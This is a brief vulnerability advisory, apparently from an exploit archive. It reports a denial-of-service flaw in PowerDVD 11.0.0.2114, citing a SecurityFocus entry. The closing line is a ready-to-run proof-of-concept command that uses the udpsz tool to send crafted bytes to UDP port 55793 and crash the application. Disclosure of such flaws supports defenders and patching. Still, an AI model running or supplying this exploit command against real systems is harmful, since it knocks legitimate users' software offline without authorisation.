source: http://www.securityfocus.com/bid/50953/info

PowerDVD is prone to a denial-of-service vulnerability.

Attackers may leverage this issue to crash the affected application, denying service to legitimate users.

PowerDVD 11.0.0.2114 is vulnerable; other versions may also be affected. 

udpsz -c "\r\n\r\n" -T SERVER 55793 -1